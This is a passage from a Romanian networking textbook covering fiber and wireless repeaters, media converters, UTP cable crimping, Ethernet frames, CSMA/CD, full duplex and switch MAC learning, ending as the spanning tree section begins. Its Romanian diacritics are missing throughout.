Dup cum s-a observat, limitrile distanei maxime la care se poate ntinde un segment de fibr optic sunt date numai de puterea de emitere a dispozitivelor terminale. De aceea, pentru extinderea ariei de acoperire n sistemele de fibr optic se folosesc repetoare i amplificatoare optice, capabile s regenereze semnalele pe distane de sute de kilometri. Un repetor folosit n comunicaia prin fibr optic, cunoscut i sub numele de OEO (Optical-Electrical-Optical) este un dispozitiv a crui principal funcie este s primeasc semnalul optic, s l transforme n semnal electric, s l prelucreze i apoi s emit din nou semnalul optic, eliminnd astfel atenuarea acestuia ce poate duce la erori de interpretare n cazul transmisiilor pe distane foarte mari. n ziua de azi, din cauza eficienei sczute i a costului mare de implementare, repetoarele au fost nlocuite cu amplificatoare optice (EDFA Erbium Doped Fiber Amplifier). Acestea pot amplifica semnalul o dat la 1000 km fr a mai fi nevoie de conversii multiple ntre semnalele electrice i cele optice. Un amplificator optic crete puterea semnalului fr s l transforme n semnal electric, ceea ce nseamn c nu l regenereaz, ci doar l amplific. Aceast tehnic este posibil deoarece n mediul optic atenuarea este cea care limiteaz distanele i nu distorsionarea semnalului. Inovaiile recente n domeniul fibrei optice i al comunicaiilor prin fibr optic au redus degradarea semnalului optic att de mult nct nevoia de regenerare a acestuia apare pe distane ce depesc cteva sute de kilometri. Aceasta a crescut eficiena reelelor optice, mai ales a celor ce se ntind pe sub oceane (Atlantis-2, TGN Atlantic, Hibernia), unde costul i eficiena amplificatoarelor este unul dintre factorii cheie ce determin performana ntregului sistem de cablare1.

1.5.1.3 Repetoare wireless


Pe lng regenerarea semnalului, repetoarele wireless sunt folosite i pentru ghidarea acestuia. Spre exemplu, dac ntre dou centre de emisie radio exist un obstacol (un deal mai nalt, sau un munte) i ele nu se vd, comunicaia nu este posibil. Pentru ca semnalul radio s poat fi recepionat i de cealalt parte a obstacolului, este necesar instalarea, chiar n vrf, a unui repetor wireless care s preia semnalul de pe un versant i s l emit ctre cellalt. Aceast tehnic este folosit pentru orice fel de transmisii fr fir: radio, televiziune, telefonie mobil, etc. Frecvenele undelor cu care se opereaz sunt cuprinse ntre frecvenele undelor radio i ale microundelor. Din punct de vedere al alimentrii cu energie electric, repetoarele wireless se mpart n active i pasive. Cele active constau n antene direcionale instalate n locaii cu nlimi ct mai mari (turnurile radio, de televiziune, etc), ce permit accesul la o surs de alimentare electric. n locurile greu accesibile (vrfuri de munte, deert, etc) sunt montate repetoarele pasive, care nu necesit o surs de energie electric, ns propag un semnal mult mai slab. Exist i repetoare radio pentru radio-amatori sau pentru cei care vor s extind zona de acoperire a echipamentelor wireless de putere mic. Acestea acoper distane mai scurte (de ordinul sutelor de metri).

http://www.atlantic-cable.com/Maps/index.htm

58 | R e e l e L o c a l e

1.5.2 Convertorul
Convertorul sau transceiver-ul - termen provenind din combinarea lui trans(mitter) cu (re)ceiver - ofer posibilitatea inteconectrii a dou medii de comunicaie diferite. Convertoarele sunt clasificate n dou categorii: convertoare pasive i convertoare active, cele din urm necesitnd alimentarea la o surs de curent pentru a putea funciona.

1.5.2.1 Convertoare pasive


n categoria convertoarelor pasive sunt convertoarele ce fac trecerea de la conectorul DB15 (AUI), la UTP sau BNC. Dei reelele locale pe cablu gros au disprut odat cu venirea anilor 90, interfeele AUI au fost interfeele Ethernet standard pentru routerele oferite de majoritatea productorilor de echipamente de reea, pn spre sfritul anilor 90. Pentru folosirea unei astfel de interfee ntr-o reea local este nevoie de un convertor. Din pcate, preul unui convertor AUI a rmas constant de aproape 10 ani, n jurul valorii de 25 de USD. Convertoarele UTP BNC nu s-au bucurat de o popularitate prea mare datorit integrrii funciei de conversie ntre mediul coaxial i cel torsadat la nivelul hubului, precum i a tendinei continue de scdere a preurilor pentru huburi.

1.5.2.2 Convertoare electric optic


Cel mai frecvent ntlnite convertoare active fac trecerea de la mediul optic la cel electric. Aceste convertoare se numesc MC (Media Convertor), dei uneori sunt numite tot transceivere. O alternativ la folosirea unui astfel de convertor o reprezint switchurile, ce ofer att interfee optice, ct i porturi RJ-45. Totui, costul unui astfel de switch depete 1000 USD, n vreme ce costul unui MAU (Medium Attachement Unit) oscileaz n jurul a 100 USD.

1.5.2.3 Convertoare electric wireless


Dispozitivul care transform semnalul electric primit pe fir de cupru n und electromagnetic de nalt frecven pe care o mprtie n aer este Acces-Point-ul. Deoarece standardele de transmisie wireless conin specificaiile de nivel fizic (distana, limea de band, puterea de transmisie) n strns legtur cu cele de nivel legtur de date, s-a optat pentru prezentarea soluiilor de comunicaie fr fir ntr-un capitol dedicat.

1.6 Studii de caz


1.6.1 Realizarea patch-urilor UTP straight-through, crossover, rollover
Pentru sertizarea unui cablu UTP CAT5 este necesar un clete de sertizat i de un conector 8P8C (numit i RJ45). Prima operaie const n nlturarea izolaiei din jurul firelor din cablu. Trebuie acordat o atenie deosebit la detorsadarea firelor: atunci cnd se ndeprteaz manonul de plastic i se detorsadeaz perechile pentru a putea introduce firele n muf, trebuie ca bucata de cablu detorsadat sa fie ct mai mic. n caz contrar, va aprea o interferen ntre fire ce produce efectul de crosstalk. Practic, se taie 3-4 cm din manon, se detorsadeaz firele, se aranjeaz n ordinea dorit, iar apoi, cu ajutorul unor lame ale cletelui de sertizat, se taie firele astfel nct dimensiunea zonei neizolate s reprezinte aproximativ din lungimea mufei. n acest fel, firele vor ajunge pn n captul mufei asigurnd un contact electric perfect, iar bucata detorsadat va fi aproape inexistent, minimiznd riscul apariiei crosstalk-ului. Mufele RJ-45, folosite pentru terminarea cablurilor UTP, conin 8 lcauri n care trebuie aduse cele 8 fire. Pinii conectorului sunt nite lamele metalice care, iniial, se afl deasupra

59 | N i v e l u l f i z i c

lcaului, pentru ca firul de cupru s poat intra. Prin folosirea cletelui de sertizat lamelele sunt mpinse n lcaurile unde se gsesc firele. Prin apsare, lamelele vor strpunge firul de cupru, realizndu-se astfel contactul electric. Pentru realizarea unui patch UTP straight-through firele trebuie s se gseasc n ambii conectori, fie n ordinea impus de T568A, fie T568B. Acelai standard trebuie respectat i la un capt i la cellalt. Pentru realizarea unui patch UTP crossover perechea verde dintr-un capt este inversat cu perechea portocalie din cellalt. Cu alte cuvinte, una din terminaii respect T568A, cealalt T568B. Pentru realizarea unui patch UTP rollover, se sertizeaz un capt al cablului folosind unul dintre standarde, iar la cellalt capt firele se aeaz n ordine invers (n oglind) pinul 1 va corespunde pinului 8, pinul 2 va corespunde pinului 6, etc. Ordinea firelor pentru cele dou standarde se regsete n figura 1-11. Dac nu se respect standardul, exist un risc major ca cele dou fire folosite pentru Rx sau Tx s nu fac parte din aceeai pereche, i s nu-i mai anuleze reciproc cmpurile electrice. Practic, torsadarea nu mai acioneaz corect si sunt generate interferene ce altereaz semnalul electric. (Cu alte cuvinte ori nu va merge, ori va merge extrem de prost!) n general, n Europa se folosete standardul 568B , iar n Statele Unite 568A. De ce este important de tiut i de respectat acest lucru? Teoretic, nu conteaz care din acest standard este utilizat att timp ct ambele mufe (de la cele dou capete) sunt fcute folosind acelai standard. Practic ns, la construirea i administrarea unei reele de mari dimensiuni lucreaz muli oameni, care nu ntotdeauna comunic ntre ei. Aadar, pentru reducerea erorilor umane este necesar respectarea aceluiai standard.

60 | R e e l e L o c a l e

2 Reele Ethernet
Ce se nva din acest capitol?
Ce reprezint standardul 802.3 Cum funcioneaz CSMA/CD Modul de funcionare al unui switch Ethernet Cum sunt evitate buclele de nivel 2 folosind STP Reea local virtual (VLAN) Standardul 802.1Q

Cine este...
Norman Abramson este vicepreedintele ALOHAnet, prima reea de calculatoare, nfiinat la Universitatea din Hawaii. Ideea ALOHAnet este de a folosi o infrastructur de cost sczut de tipul radioului pentru amatori pentru a lega calculatoarele universitii, aflate la mare distan. Desi reeaua nu se mai foloseste, a reprezentat un punct de pornire al Interetului. Norman Abramson a primit de la IEEE medalia Alexander Graham Bell. Bob Metcalfe este co-inventator al protocolului Ethernet, fondator al 3Com i al legii care i poart numele. n timp ce i susinea doctoratul la MIT s-a implicat n conectarea universitii la noua reea ARPAnet, fiind responsabil cu gsirea unui hardware care s fac legatura. n timp ce a fost angajat la Xerox PARC a co-inventat Ethernetul. Dupa ce a plecat de la Xerox a pornit 3Com, companie ce fabric componente de reelistic. Legea lui Metcalfe afirm c valoarea unei reele de telecomnunicaii este direct proporional cu ptratul numrului de utilizatori.

2.1 Noiuni generale


Ethernet este n ziua de azi tehnologia dominant de LAN, ce definete un numr de standarde pentru nivelul fizic, o metod de acces la mediu (CSMA/CD) i o schem de adresare. Primul standard Ethernet a fost publicat n 1980 de un consoriu format din firmele DEC, Intel i Xerox, consoriu numit DIX. Cu cteva modificri minore, acesta a devenit trei ani mai trziu standardul IEEE 802.3. Alte standarde IEEE importante sunt : 802.11 Wireless LAN; 802.1d definire cadre speciale (BPDU) i funcionarea acestora; 802.1q standard pentru VLAN-uri ; 802.1x standard de autentificare. Pentru comunicarea n cadrul unei reele Ethernet, ca i n cazul altor standarde IEEE 802, fiecrei staii i se atribuie o adres MAC (Media Access Control) unic pe 48 de bii exprimai n 12 cifre hexazecimale, ce este folosit pentru a specifica att sursa ct i destinaia fiecrui pachet de date. Adresa MAC este un ir de 48bii folosit pentru asigurarea unicitii n reelele Ethernet. O adres MAC este stocat n memoria ROM i este ncrcat n RAM n momentul iniializrii plcii de reea. Din aceast cauz adresele MAC mai sunt numite i adrese fizice sau burned-in addresses (BIAs). Adresele MAC sunt adrese ce folosesc o schem de adresare plat (spaiul de adresare ocupat treptat i complet). Cum stau lucrurile n realitate? Instituia ce administreaz adresele fizice este IEEE. Problema este c IEEE nu poate monitoriza direct atribuirea fiecrei adrese fizice, astfel nct transfer aceast responsabilitate productorilor. Din cei 6 octei ce compun adresa fizic primii trei vor fi folosii pentru identificarea fabricantului, acest cmp fiind

61 | R e e l e E t h e r n e t

denumit Organizational Unique Identifier (OUI), iar urmtorii trei octei sunt dai de ctre fabricant n mod unic fiecrui dispozitiv de reea. Astfel, spaiul adreselor fizice poate fi ordonat fr ndoial dup productor, informaie totui inutil, deoarece rar se ntmpl ca ntr-o reea s existe dispozitive de reea produse de un singur productor. n concluzie mulimea adreselor fizice este o mulime neordonat, care n plus nu poate folosi integral spaiul de adrese. Cu toate acestea schema de adresare fizic este unul dintre puinele lucruri ce nu a trebuit schimbat i nici mcar actualizat pe parcursul ultimilor douzeci de ani. IEEE a anunat faptul c spaiul adreselor fizice nu va fi epuizat mai devreme de anul 21001. Dei diferena ntre schema de adresare fizic (MAC - 48 de bii) i schema de adresare de nivel trei dominant astzi n Internet (IPv4), ce asigur identificarea fiecrei staii n mod unic printr-o adres logic pe 32 de bii, nu este foarte mare (doar 16 bii), n ziua de astzi exist o nevoie de extindere a celei din urm la 128 de bii (IPv6). Apariia i dezvoltarea rapid a reelelor de calculatoare personale va duce treptat la epuizarea adreselor IPv4, estimat de unii vizionari ntre anii 2019 2040. Adresele fizice ofer suport pentru 3 tipuri de comunicaie: direct (unicast), prin difuzare (broadcast) i cu destinaie multipl (multicast), primele dou tipuri fiind mult mai populare dect ultimul tip de comunicaie. Adresa de difuzare pentru nivelul legtur de date are o valoare unic, aceasta fiind: FF:FF:FF:FF:FF:FF. Avnd numeroase avantaje (uurina de instalare i ntreinere, capacitatea de a introduce noi tehnologii, fiabilitatea, costul relativ sczut), reelele Ethernet sunt de tip shared-media (mediu multiacces mai multe staii conectate la acelasi mediu fizic), deci orice cadru transmis de ctre o staie va fi recepionat de ctre toate celelalte staii din reeaua local.

2.1.1 Structura cadrului Ethernet


Din punctul de vedere al cadrului Ethernet, protocolul ofer trei tipuri de informaii: identificarea destinaiei i a sursei pe baza unei adrese MAC, precizarea protocolului de nivel superior (de nivel reea) i o sum de control pentru verificarea integritii datelor. Structura cadrului Ethernet este aproape identic, indiferent de varianta de Ethernet folosit, i conine urmtoarele cmpuri: 6 6 2 46-1500 4 Adres Adres Sum de Lungime/Tip Date destinaie surs control 2-1: Structura cadrului Ethernet Antetul Ethernet este de 14 octei, mprii n trei cmpuri: 6 octei pentru adresa destinaie, 6 octei pentru adresa surs i 2 octei pentru cmpul tip, cmp ce este folosit pentru precizarea protocolului de nivel superior. Cmpul Lungime/Tip din antetul Ethernet este interpretat ca i lungime a cadrului dac valoarea sa este mai mic de 1536 (0x600 n hexazecimal). Dac este mai mare de 1536, el reprezint protocolul de nivel superior folosit. Cmpul de date trebuie s fie mai mare de 46 de octei. Dac din ntmplare datele sunt de lungime mai mic, se adaug o umplutur numit padding pentru a ajunge la dimensiunea minim de 46 de octei. Acest cmp nu are voie s depeasc dimensiunea MTU Maximum Transmission Unit care pentru Ethernet este de 1500 octei, ceea ce nseamn c un cadru Ethernet nu are voie s fie mai mic de 64 sau mai mare de 1518 octei.

http://standards.ieee.org/regauth/oui/

62 | R e e l e L o c a l e

Suma de control este ataat la sfritul cadrului, sub forma unui cmp de 4 octei, n scopul detectrii erorilor de transmisie. Numrul erorilor CRC este extrem de redus n reele locale actuale, astfel c relevana acestui cmp este sczut. Succesul viitor al reelelor Ethernet pare incontestabil. Standardul Ethernet a continuat s se dezvolte i este nc n curs de dezvoltare. n reelele locale preurile switchurilor de GigabitEthernet i a interfeelor de reea se apropie tot mai mult de preurile de FastEthernet. Metro Ethernet a devenit o tehnologie rspndit n reelele de ISP, tehnologie ce i propune aducerea standardului Ethernet n reelele metropolitane (MAN), nucleul reelei fiind bazat pe o structur IP/MPLS deja existent. Noi standarde la 10 Gbps pe cupru i fibra optic multi-mode au aprut deja pentru a rspunde cerinelor de band din reelele metropolitane. Prin mrirea vitezelor i a lungimii maxime a unui segment, Ethernet devine o tehnologie viabil att pentru MAN ct i pentru WAN. n figura de mai jos este prezentat o evoluie sumar a standardelor Ethernet. n iulie 2003 s-a standardizat 802.3ae, ce ofer viteze de pn la 10 Gpbs doar pentru reele de fibr optic. Ultima standardizare a Ethernet-ului (IEEE 802.3an) a fost aprobat pe 17 iulie 2006 i a fost publicat pe 1 septembrie 2006, oferind viteze de pn la 10 Gpbs pe cablu torsadat (UTP). Dei exist echipamente de reea spre vnzare, standardul pentru 40Gbps este ateptat n 2009. Ethernet Concurena 802.3 1 Mbps 1983
802.5 4 Mbps 802.3 10 Mbps 802.5 16 Mbps ATM 155 Mbps 802.3u 100 Mbps ATM 622 Mbps 802.3z 1000 Mbps 802.3ae 10 Gbps

1995 1996 1998 2003

2-2: Evoluia standardelor Ethernet

2.1.2 CSMA/CD
Problema iniial de la care au pornit reelele Ethernet era gsirea unei metode de arbitrare a accesului la mediul de comunicaie comun. Aceast dificultate a fost prima oar explorat n anii `70, la o universitate din Hawaii, ntr-un proiect ce i propunea s ofere acces mai multor utilizatori la o reea fr ca semnalele lor s se amestece. Rezultatul proiectului a fost reeaua Alohanet, care a devenit mai trziu baza pentru CSMA/CD (Carier Sense Multiple Access / Colison Detection), metoda de acces la mediu folosit n reelele Ethernet. Reelele Ethernet sunt de tip shared-media, deci orice cadru transmis de ctre o staie va fi recepionat de ctre toate celelalte staii din reeaua local. Toate calculatoarele, la recepionarea unui cadru valid, vor verifica dac adresa MAC nscris n cadrul cmpului destinaie din antetul cadrului primit este identic cu adresa MAC proprie. Dac nu se stabilete c cele dou adrese sunt identice, cadrul este ignorat i nu va fi transmis ctre nivelul reea. Prezena adresei surs n cadru se explic prin faptul c orice comunicaie este bidirecional, n sensul c orice cadru transmis are de obicei ca urmare emiterea unui cadru de rspuns.

63 | R e e l e E t h e r n e t

Protocolul CSMA/CD este cel pe baza cruia funcioneaz Ethernet. Deoarece Ethernet se bazeaz pe un mediu de tip partajat (shared-media), numai o singur staie poate transmite la un moment dat.

Se primesc date pentru transmisie

Mediu liber? D a Asambleaz cadrul

N u

ncepe transmisia

A aprut o coliziune? N u Transmite cadrul urmtor

D a

Transmite semnal de bruiaj

ncercri= ncercri+1

Ateapt q microsecunde

Mai sunt cadre?

D a

ncercri < max_ncercri?

Calculeaz D algoritmul de backoff

N u Transmisie ncheiat u Abandoneaz transmisia

2-3: Tratarea coliziunilor Cnd o staie dorete s transmit, ea urmeaz urmtorul procedeu: ascult pe fir s vad dac nu cumva mai transmite cineva n acel timp. Dac aude c mai transmite cineva, staia ateapt o perioad de timp aleatoare dup care ncearc din nou (adic ascult din nou). Dac nu transmite nimeni, staia ncepe s transmit, ns n acelai timp continu i s

64 | R e e l e L o c a l e

asculte, pentru a fi sigur c nu a mai nceput nimeni s transmit. Dup ce transmisia se termin, staia se ntoarce la starea iniial n care ascult. Se poate ns ca dou staii, urmnd acest procedeu, s constate c nu mai transmite nimeni, i considernd mediul liber, s nceap transmisia simultan, moment n care cadrele de la dou staii diferite sunt pe acelai mediu, ceea ce determin o coliziune. O coliziune are loc atunci cnd doi bii de la dou staii diferite care transmit se afl pe acelai mediu de transmisie n acelai timp. n cazul transmisiunilor analogice pe cupru (cablu coaxial), tensiunile celor dou semnale binare se adun, genernd astfel un al treilea nivel de tensiune. Aceast variaie a tensiunii este interpretat drept o coliziune. n cazul transmisiunilor digitale (cablu torsadat sau fibr optic), mediul de transmisie este full-duplex, iar coliziunile apar la nivelul emitorului, a receptorului sau a dispozitivelor de interconectare (spre exemplu un hub va permite apariia de coliziuni). Coliziunile aprute pe o plac de reea sau pe un switch half-duplex sunt coliziuni logice. Astfel dac o staie ncepe s trimit un cadru, dar nainte de a finaliza transmisia ncepe s recepioneze trafic, se va interpreta situaia ca i o coliziune, va ntrerupe transmisia i va iniia algoritmul de backoff. Cnd staiile aud coliziunea, continu s transmit nc o perioada foarte scurt de timp (semnalul de jam) pentru a fi sigure c toate staiile din reea au sesizat-o. Dup ce aceast coliziune a fost remarcat de toate staiile din reea (mai exact, din domeniul de coliziune), este apelat un algoritm de backoff i transmisia nceteaz. Toate staiile se opresc din transmis pentru o perioad aleatoare de timp, dup care rencearc s transmit.

2.1.3 Full-duplex Ethernet


Exist dou moduri de transmisie (numite i duplex): half-duplex i full-duplex. n modul de transmisie half-duplex o staie nu poate trimite i primi n acelai timp: ori transmite, ori primete. De exemplu, cablul coaxial este prin definiie un mediu pentru half-duplex, pentru c transmisia i recepia se realizeaz pe acelai fir. Pe cablurile torsadate ns, prin folosirea unei perechi separate pentru transmisie (numit Tx) i unei alte perechi pentru recepie (numit Rx) se poate asigura suport de comunicaie full-duplex. Pentru ca o comunicaie s fie full-duplex trebuie ca att mediul de transmisie, ct i participanii la conversaie s ofere suport full-duplex. Cablul torsadat reprezint un mediu de comuncaie full-duplex, dar dac se folosete un hub, sau o plac de reea configurat half-duplex, comunicaia se va realiza half-duplex. Switchurile i plcile de reea actuale ofer suport att pentru comunicaie full-duplex, ct i pentru comunicaia half-duplex. Modul de funcionare poate fi configurat manual (din driverul plcii de reea, sau interfaa switchului), sau automat, n urma negocierii. Dac autonegocierea nu reuete i nu sunt fcute setri manuale, transmisia se va face pe halfduplex. Atunci cnd folosim full-duplex nu se mai folosete modul de acces la mediu CSMA/CD pentru c aceasta nu mai este o reea de tip mediu partajat. Mai exact, dac este posibil transmiterea i primirea de date n acelai timp, nu mai pot avea loc coliziuni. Astfel, n cadrul unei transmisii full-duplex, nu se mai realizeaz detecia de coliziuni. Limitrile de distan din standardele Ethernet sunt specificate pentru modul de acces la mediu CSMA/CD, i nu mai sunt valabile pentru full-duplex. Aceste limitri, cel mai adesea, sunt calculate astfel nct s permit tuturor staiilor conectate s sesizeze apariia unei

65 | R e e l e E t h e r n e t

coliziuni. n condiiile full-duplex, singura limitare a distanei este cea tehnologic. Un exemplu este FastEthernet pe fibra optic single-mode, a crui distan este limitat de standardul IEEE 802.3 la 3000m, n condiii de acces CSMA/CD, ns pentru o legtur punct-la-punct fullduplex, se pot folosi transceiver-uri puternice obinnd o legtur de pn la 120km. Standardul 10Gigabit nu mai prevede un mod de comunicaie half-duplex ci doar fullduplex, motiv pentru care toi parametrii legai de apariia coliziunilor (numr de ncercri, timp de backoff, etc) sunt nespecificai.

2.2 Ethernet switching


n continuare vor fi analizate reelele Ethernet i switching-ul cadrelor la nivel doi. Switching-ul de nivel doi presupune folosirea adreselor fizice a staiilor dintr-un LAN n vederea segmentrii reelei. Dup cum se tie, Ethernet se bazeaz pe un mediu de tip partajat (shared-media), deci numai o singur staie poate transmite la un moment dat. Se poate ca dou staii s nceap transmisia simultan, moment n care cadrele de la cele dou staii diferite se afl pe acelai mediu, ceea ce determin o coliziune. Reelele Ethernet ar funciona foarte bine n condiii ideale. Dac numrul utilizatorilor n reea devine ns foarte mare, atunci numrul coliziunilor ar crete semnificativ, ducnd la o scdere a performanelor reelei. Astfel, nevoia de a sparge domeniile mari de coliziune n domenii mai mici a fost vital. Domeniile de coliziune i cele de difuzare au nceput s fie treptat proiectate cu scopul de a limita efectul negativ al coliziunilor i al difuzrilor asupra performanelor reelei. Un domeniu de coliziune reprezint acea seciune dintr-o reea n care se va propaga o coliziune. Switchurile i routerele limiteaz domeniile de coliziune, dar repetoarele le extind. Un domeniu de difuzare (domeniu de broadcast) reprezint acea seciune dintr-o reea n care se va propaga un pachet de difuzare (broadcast). Routerele limiteaz domeniile de difuzare, dar repetoarele i swichurile le extind. Un segment de reea este echivalent cu un domeniu de coliziune, dup cum unei reele i corespunde un domeniu de difuzare. Care sunt mecanismele de decizie ale unei switch? Cele dou mecanisme ce fac din switch un dispozitiv de interconectare inteligent sunt: ncapsularea datelor la nivel legtur de date i folosirea unei scheme de adresare pentru livrarea acestora. Toate deciziile luate de un switch sunt bazate pe adresa fizica (MAC), neafectnd adresa logic (adresa de nivel trei) a pachetului. Gruparea datelor nu se face la nivel de bit ci la nivel de cadru, un cadru putnd conine pn la 1500 de octei n cazul cadrului Ethernet, 2300 pentru WLAN, sau chiar 8000 de octei n cazul Token Ring. n prezent, o reea local este format din switchuri, AP-uri i routere. Definiia cea mai rspndit a switchurilor identific orice bridge multiport cu un switch. n realitate, dei aceast definiie acoper vasta majoritate a cazurilor, exist bridge-uri multiport ce nu sunt switchuri. n timp ce switchul este definit ca un dispozitiv de interconectare de nivel legtur de date, definiia switchului include att funcii de nivel fizic, ct i de nivel legtur de date. Aceasta diferen nu se datoreaz unei latene mai mici sau unui cost mai sczut comparativ cu o punte, ci faptului c n reelele Ethernet ce folosesc mediul torsadat switchul preia funcia principal a hubului, i anume aceea de a asigura conectarea tuturor nodurilor la un mediu de transmisie.

66 | R e e l e L o c a l e

Pe interfeele unui switch se pot conecta staii sau segmente ntregi. Cu toate acestea, reelele switched sunt rspunsul la cerinele crescnde de securitate i de lime de band pentru fiecare nod. Reelele comutate vor folosi cte un port pentru fiecare staie, reducnd dimensiunea domeniilor de coliziune la doar dou noduri (unul fiind placa de reea din respectiva staie, iar cel de-al doilea portul din switch care o conecteaz pe aceasta). Principalele funcii ale unui switch sunt: nvarea adreselor (popularea tabelei MAC) i modul de comutare a cadrelor. Pe lng acestea, exist o serie de funcii pe care unele switchuri le pot oferi: eliminarea buclelor de nivel doi, separarea reelelor locale virtuale, etc.

2.2.1 nvarea adreselor


Switchurile de nivel doi rein adresa fizic surs a cadrului primit pe o interfa i introduc aceast informaie ntr-o tabel - tabel de comutare - numit i tabel MAC (bridging/switching table). n aceast tabel fiecarei adrese fizice i este asociat una dintre interfeele sale. n figura de mai jos este exemplificat o astfel de tabel. Interfa E0 E0 E1 Adres MAC 00.48.C2.01.78.12 00.00.2E.00.59.91 00.00.54.91.01.4A

2-4: Tabel de comutare cu 3 intrri De exemplu, prima intrare are urmtoarea semnificaie: destinaia 00.48.C2.01.78.12 se afl pe segmentul conectat pe interfaa E0 a switchului (E0 este prescurtarea de la Ethernet 0, prima interfa Ethernet). Cum i construiete switchul tabela de comutare? Tabela de comutare este pstrat n memoria RAM a switchului i prin urmare se pierde dac switchul este reiniializat. n plus, un switch trebuie s includ dinamic n tabela de comutare informaii despre o nou staie conectat n reea. Se consider reeaua din figura de mai jos, unde switchul 1 a fost reiniializat, i staia A1 vrea s comunice cu staia B1.

2-5: Construirea tabelei de comutare pentru o reea cu switchuri Staia A1 ascult mediul, iar cnd acesta este liber trimite un cadru ce are ca destinaie staia B1. Staiile A2 i A3 ignor cadrul. Switchul 1 primete cadrul i ncearc s gseasc adresa destinaie n tabela sa de comutare. Switchul nu reuete s gseasc destinaia,

67 | R e e l e E t h e r n e t

deoarece tabela sa de comutare este goal, astfel nct el transmite cadrul pe toate segmentele la care este conectat, n afar de segmentul de pe care a fost primit cadrul (flooding). n aceast etap, funcionarea switchului este similar cu cea a unui hub. nainte de a retransmite cadrul switchul verific dac adresa surs este prezent n tabela sa de comutare. n acest caz nu este, astfel nct switchul creeaz prima intrare n tabela de comutare, intrare ce conine adresa fizic a staiei A1 i interfaa switchului ce conecteaz segmentul A. Cadrul ajunge att pe segmentul D (unde staiile D1 i D2 decid c acesta nu le este adresat i l ignor) ct i pe segmentul B, la staiile B1 i B2 i la switchul 2. Switchul 2 decide c destinaia se afl n segmentul din care a primit cadrul i deci nu l mai retransmite, iar staia B1 decide c ea este destinatarul cadrului. Urmtoarele intrri n tabela de comutare sunt adugate n mod similar, pe baza informaiilor coninute n cmpul surs a cadrelor ce ajung la switch. Chiar i comunicaia ntre dou staii aflate n acelai segment poate afecta limea de band din ntreaga reea, dac switchul nu a apucat s-i construiasc tabela de comutare. Se consider c staia A1 trimite un cadru ctre A2, dup cel trimis ctre B1. Cadrul ajunge la destinaie fr ajutorul switchului, dar switchul, neidentificnd destinaia n tabela sa de comutare, va retransmite cadrul att pe segmentul B, ct i pe segmentul D. Datorit dificultii cutrii ntr-o mulime neordonat, n tabela de comutare nu sunt pstrate toate adresele staiilor din reeaua local, ci doar ale celor cu o probabilitate mare s transmit n viitorul apropiat - mai exact a ultimelor staii care au transmis. Pentru implementarea acestui concept, o intrare ntr-o tabel de comutare va include i o etichet de timp, pe lng adresa MAC i interfa. Eticheta de timp este actualizat cnd se primete un nou cadru cu aceeai adres surs. Acest mecanism permite nlturarea intrrilor nvechite i duce deci la restrngerea dimensiunii tabelei de comutare. Preul pltit, n cazul n care o staie nu transmite niciun cadru un interval de timp, este consumul din limea de band a tuturor segmentelor din reea. Exist o singur excepie notabil la procesul descris mai sus: n cazul n care adresa destinaie a cadrului este aceeai cu adresa surs, cadrul este considerat invalid, va fi aruncat, n plus adresa surs nu va fi folosit pentru popularea tabelei de comutare.

2.2.2 Deciziile de comutare


Care este rolul switchului n comunicaia din interiorul aceluiai segment? Protocolul Ethernet ofer un mediu de comunicaie partajat, mai exact comunicaia dintre dou staii este accesibil nivelului legtur de date a oricrei alte staii conectate pe acelai segment. Pentru fiecare cadru primit de o staie, nivelul legtur de date verific dac aceast staie este sau nu destinaia. n cazul afirmativ cadrul este pasat nivelului reea, altminteri este ignorat. Reeaua din figura de mai jos ilustreaz cazul comunicaiei n interiorul aceluiai segment. De exemplu, staia A1 vrea s transmit date staiei A2. Deoarece este vorba despre o reea Ethernet, primul lucru pe care-l face staia A1 este ascultarea mediului. Dac mediul este liber ncepe transmisia datelor. Cadrul emis de A1 se propag ctre toate staiile conectate pe acest segment, inclusiv ctre switch. Staia A2 trece cadrul ctre nivelul reea, staia A3 l ignor. Odat ajuns la switch, cadrul este despachetat i adresa destinaie este cutat n tabela de comutare a switchului. Switchul decide c destinaia se afl chiar pe interfaa pe care a primit cadrul. n acest caz switchul ia decizia c acest cadru nu mai trebuie transmis (filtering), deoarece retransmiterea cadrului ar duce la o duplicare a acestuia la destinaie.

68 | R e e l e L o c a l e

2-6: Reea segmentat cu switchuri Cum acioneaz switchul 1 n cazul comunicaiei ntre B1 i B2? Ambele switchuri (dei recepioneaz cadrele) iau decizia de a nu le mai retransmite. Dac ambele comunicaii apar simultan (att A1 transmite ctre A2, ct i B1 ctre B2), va aprea oare o coliziune? Cu siguran c da, dac n loc de switchul 1 ar fi fost folosit un repetor. n cazul utilizrii unui switch, de vreme ce niciun cadru din comunicaia dintre A1 i A2 nu ajunge pe segmentul B, i niciun cadru din comunicaia dintre B1 i B2 nu ajunge pe segmentul A, este imposibil s apar o coliziune. Switchul izoleaz comunicaia unicast ntre staii aflate n acelai segment la nivelul segmentului. Consecinele acestui fapt sunt extrem de importante. n primul rnd, switchul mrginete domeniile de coliziune. Totodat, el ofer mai mult band disponibil, deoarece comunicaia n interiorul aceluiai segment nu consum din banda disponibil a ntregii reele. O alt consecin o reprezint minimizarea riscurilor de securitate legate de atacurile din interiorul reelei locale. De exemplu, unul dintre cele mai populare atacuri este ascultarea liniei (sniffing attack), prin care se foreaz nivelul legtur de date de pe una dintre staiile conectate la mediul distribuit s trimit spre nivelurile superioare toate cadrele - inclusiv cele ce nu sunt destinate acestei staii. Cu ajutorul unor aplicaii dedicate datele sunt reasamblate i astfel poate fi monitorizat tot traficul ce traverseaz segmentul de reea. Dar, prin folosirea switchurilor, este posibil ca staiile ce prezint un risc de securitate s fie izolate de restul reelei. Care este rolul switchului n comunicaia dintre segmente? Dac n reeaua din figura precedent este iniiat un trafic ntre staia A1 i B1, staia A1 ncepe prin a asculta mediul i transmite un cadru atunci cnd acesta este liber. Cadrul se propag spre staiile A2, A3 i spre switchul 1. Staiile ignor cadrul, acesta nefiind adresat lor. Switchul cut ns adresa destinaie n tabela sa de comutare. Switchul determin interfaa pe care trebuie trimis cadrul i apoi decide c aceast interfa este diferit de cea pe care cadrul a fost primit. Astfel, switchul transmite cadrul primit din segmentul A doar pe segmentul B (forwarding). Switchul este recepionat att de B1, ct i de B2, dar doar B1 l va prelucra.

2.2.3 Evitarea buclelor de nivel doi STP


Una dintre principalele limitri ale nivelului legtur de date se refer la posibilitatea asigurrii redundanei. Astfel, pentru nceput va fi analizat impactul redundanei asupra reelelor formate numai din switchuri.

69 | R e e l e E t h e r n e t

